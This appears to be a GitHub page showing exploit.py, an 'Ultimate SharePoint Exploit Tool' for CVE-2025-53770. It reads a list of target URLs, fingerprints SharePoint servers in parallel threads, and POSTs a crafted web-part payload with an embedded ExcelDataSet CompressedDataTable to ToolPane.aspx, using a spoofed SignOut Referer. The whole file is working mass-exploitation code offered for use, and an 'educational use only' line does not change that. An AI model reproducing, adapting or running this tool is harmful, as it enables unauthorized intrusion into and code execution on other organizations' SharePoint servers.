Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
140 lines (121 loc) · 5.75 KB
/
Copy pathexploit.py
File metadata and controls
140 lines (121 loc) · 5.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Ultimate SharePoint Exploit Tool
Combines Detection + Version Check + WebPart Injection (CVE-2025-53770)
Author: @GOTOCVE — https://t.me/GOTOCVE
Version: 3.1
Educational use only — Unauthorized use is prohibited.
"""
import argparse
import concurrent.futures
import requests
import urllib.parse
import re
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from termcolor import cprint
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
retry_strategy = Retry(
total=3,
backoff_factor=1,
status_forcelist=[429, 500, 502, 503, 504],
allowed_methods=["HEAD", "GET", "OPTIONS", "POST"]
)
adapter = HTTPAdapter(max_retries=retry_strategy)
def create_session():
session = requests.Session()
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; Python Exploit Tool)'
})
session.verify = False
session.mount("https://", adapter)
session.mount("http://", adapter)
return session
def normalize_url(url: str) -> str:
return url if url.startswith(('http://', 'https://')) else "https://" + url
def detect_sharepoint(session: requests.Session, url: str) -> dict:
try:
r = session.get(url, timeout=7)
content = r.text
headers = r.headers
indicators = any(s in content for s in ['_layouts', '_vti_bin', 'sp-page-content', 'SharePoint'])
sp_headers = any(headers.get(k) for k in ['MicrosoftSharePointTeamServices', 'X-SharePointHealthScore', 'SPRequestGuid'])
return {
'url': url,
'is_sharepoint': indicators or sp_headers,
'version': headers.get('MicrosoftSharePointTeamServices', 'Unknown'),
'status_code': r.status_code
}
except requests.RequestException as e:
cprint(f"[!] Request failed for {url}: {e}", "red")
return {'url': url, 'is_sharepoint': False, 'version': 'Unknown', 'error': str(e)}
def extract_site_client_tag(session: requests.Session, url: str) -> str | None:
try:
r = session.get(urllib.parse.urljoin(url, '/_layouts/15/error.aspx'), timeout=7)
match = re.search(r'"siteClientTag"\s*:\s*"\d*\\\\\\$+([^\"]+)",?', r.text)
return match.group(1) if match else None
except requests.RequestException:
return None
def build_dwp_payload(compressed_data: str) -> str:
return f'''
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{compressed_data}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>'''.strip()
def exploit(session: requests.Session, url: str, compressed_data: str) -> None:
target_url = urllib.parse.urljoin(url, "/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx")
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": urllib.parse.urljoin(url, "/_layouts/SignOut.aspx")
}
post_data = {"MSOTlPn_DWP": build_dwp_payload(compressed_data)}
try:
r = session.post(target_url, headers=headers, data=urllib.parse.urlencode(post_data), timeout=15)
if r.status_code == 200:
cprint(f"[+] Exploit delivered to {url}", "green")
else:
cprint(f"[-] Unexpected status code {r.status_code} from {url}", "yellow")
except requests.RequestException as e:
cprint(f"[!] Exploit failed for {url}: {e}", "red")
def process_target(url: str, payload_b64: str) -> None:
session = create_session()
normalized_url = normalize_url(url)
info = detect_sharepoint(session, normalized_url)
if not info.get('is_sharepoint'):
cprint(f"[-] Not a SharePoint site: {normalized_url}", "yellow")
return
version = extract_site_client_tag(session, normalized_url) or info.get('version', 'Unknown')
cprint(f"[i] SharePoint version at {normalized_url}: {version}", "blue")
exploit(session, normalized_url, payload_b64)
def main():
parser = argparse.ArgumentParser(description="Ultimate SharePoint Exploit Tool v3.0 — by @GOTOCVE")
parser.add_argument("-f", "--file", required=True, help="File with target URLs (one per line)")
parser.add_argument("-p", "--payload", required=True, help="Base64-encoded CompressedDataTable payload")
parser.add_argument("-t", "--threads", type=int, default=10, help="Number of concurrent threads")
args = parser.parse_args()
try:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except Exception as e:
cprint(f"[!] Failed to read targets: {e}", "red")
return
cprint(f"[*] Loaded {len(targets)} targets. Starting scan with {args.threads} threads...", "blue")
start = time.time()
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [executor.submit(process_target, url, args.payload) for url in targets]
for future in concurrent.futures.as_completed(futures):
try:
future.result()
except Exception as e:
cprint(f"[!] Thread error: {e}", "red")
cprint(f"[*] Scan completed in {time.time() - start:.2f} seconds.", "blue")
if __name__ == "__main__":
main()